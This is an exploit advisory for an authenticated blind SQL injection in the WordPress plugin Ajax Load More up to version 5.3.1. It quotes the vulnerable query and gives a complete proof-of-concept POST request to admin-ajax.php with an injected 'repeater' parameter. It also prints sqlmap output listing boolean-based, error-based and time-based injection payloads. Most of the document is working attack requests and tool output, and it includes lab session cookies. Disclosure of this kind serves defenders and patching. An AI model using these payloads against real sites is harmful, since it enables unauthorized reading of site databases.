WordPress Plugin Ajax Load More 5.3.1 – ‘#1’ Authenticated SQL Injection
# Exploit Title: Wordpress Plugin Ajax Load More 5.3.1 - '#1' Authenticated SQL Injection # Exploit Author: SunCSR (Sun* Cyber Security Research) - Nguyen Khang # Google Dork: N/A # Date: 2020-05-18 # Vendor Homepage: https://connekthq.com/plugins/ajax-load-more/ # Software Link: https://vi.wordpress.org/plugins/ajax-load-more/ # Version: <= 5.3.1 # Tested on: Ubuntu 18.04 Description: A blind SQL injection vulnerability is present in Ajax load more. $wpdb->get_var("SELECT repeaterDefault FROM " . $table_name . " WHERE name = '$n'"); POC: POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1 Host: lab-pwn.com User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://lab-pwn.com/wordpress/wp-admin/admin.php?page=ajax-load-more-repeaters Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 597 Origin: http://lab-pwn.com Connection: close Cookie: wordpress_ce916d86f593e303743adeb31ce28da7=admin%7C1589950799%7CCMYSDjadMRtkKIav5orz6knKlOvE7Bz8d67ACwFl5fl%7Cab29a771b72eed2d65f02d50fd24ea85ae85f38d0fcc41abb56797fb8c7590a3; wordpress_logged_in_ce916d86f593e303743adeb31ce28da7=admin%7C1589950799%7CCMYSDjadMRtkKIav5orz6knKlOvE7Bz8d67ACwFl5fl%7Cb14c3363c0174d9eb93e2d2bbdd3627b293ea3e8fa8a1080325f62bb462938e2; wp-settings-time-1=1589773793; PHPSESSID=0lsvlo9il6ibjiuflljl3qcub1 action=alm_update_repeater&value=%3Cli+%3C%3Fphp+if+(!has_post_thumbnail())+%7B+%3F%3E+class%3D%22no-img%22%3C%3Fphp+%7D+%3F%3E%3E%0A+++%3C%3Fphp+if+(+has_post_thumbnail()+)+%7B+the_post_thumbnail('alm-thumbnail')%3B+%7D%3F%3E%0A+++%3Ch3%3E%3Ca+href%3D%22%3C%3Fphp+the_permalink()%3B+%3F%3E%22+title%3D%22%3C%3Fphp+the_title()%3B+%3F%3E%22%3E%3C%3Fphp+the_title()%3B+%3F%3E%3C%2Fa%3E%3C%2Fh3%3E%0A+++%3Cp+class%3D%22entry-meta%22%3E%3C%3Fphp+the_time(%22F+d%2C+Y%22)%3B+%3F%3E%3C%2Fp%3E%0A+++%3C%3Fphp+the_excerpt()%3B+%3F%3E%0A%3C%2Fli%3E&repeater=' or sleep(5)#&type=test&alias=&nonce=ae68ab8c91 SQL map: custom injection marker ('*') found in option '--data'. Do you want to process it? [Y/n/q] [12:43:16] [INFO] resuming back-end DBMS 'mysql' [12:43:16] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: #1* ((custom) POST) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause Payload: action=alm_update_repeater&value=<li <?php if (!has_post_thumbnail()) { ?> class="no-img"<?php } ?>> <?php if ( has_post_thumbnail() ) { the_post_thumbnail('alm-thumbnail'); }?> <h3><a href="<?php the_permalink(); ?>" title="<?php the_title(); ?>"><?php the_title(); ?></a></h3> <p class="entry-meta"><?php the_time("F d, Y"); ?></p> <?php the_excerpt(); ?> </li>&repeater=-2104' OR 5557=5557-- dHBa#&type=test&alias=&nonce=ae68ab8c91 Type: error-based Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: action=alm_update_repeater&value=<li <?php if (!has_post_thumbnail()) { ?> class="no-img"<?php } ?>> <?php if ( has_post_thumbnail() ) { the_post_thumbnail('alm-thumbnail'); }?> <h3><a href="<?php the_permalink(); ?>" title="<?php the_title(); ?>"><?php the_title(); ?></a></h3> <p class="entry-meta"><?php the_time("F d, Y"); ?></p> <?php the_excerpt(); ?> </li>&repeater=' OR (SELECT 3214 FROM(SELECT COUNT(*),CONCAT(0x716a6b7a71,(SELECT (ELT(3214=3214,1))),0x716a716b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- AHqK#&type=test&alias=&nonce=ae68ab8c91 Type: AND/OR time-based blind Title: MySQL >= 5.0.12 OR time-based blind Payload: action=alm_update_repeater&value=<li <?php if (!has_post_thumbnail()) { ?> class="no-img"<?php } ?>> <?php if ( has_post_thumbnail() ) { the_post_thumbnail('alm-thumbnail'); }?> <h3><a href="<?php the_permalink(); ?>" title="<?php the_title(); ?>"><?php the_title(); ?></a></h3> <p class="entry-meta"><?php the_time("F d, Y"); ?></p> <?php the_excerpt(); ?> </li>&repeater=' OR SLEEP(5)-- pExJ#&type=test&alias=&nonce=ae68ab8c91 --- [12:43:17] [INFO] the back-end DBMS is MySQL web server operating system: Linux Ubuntu web application technology: Nginx back-end DBMS: MySQL >= 5.0 |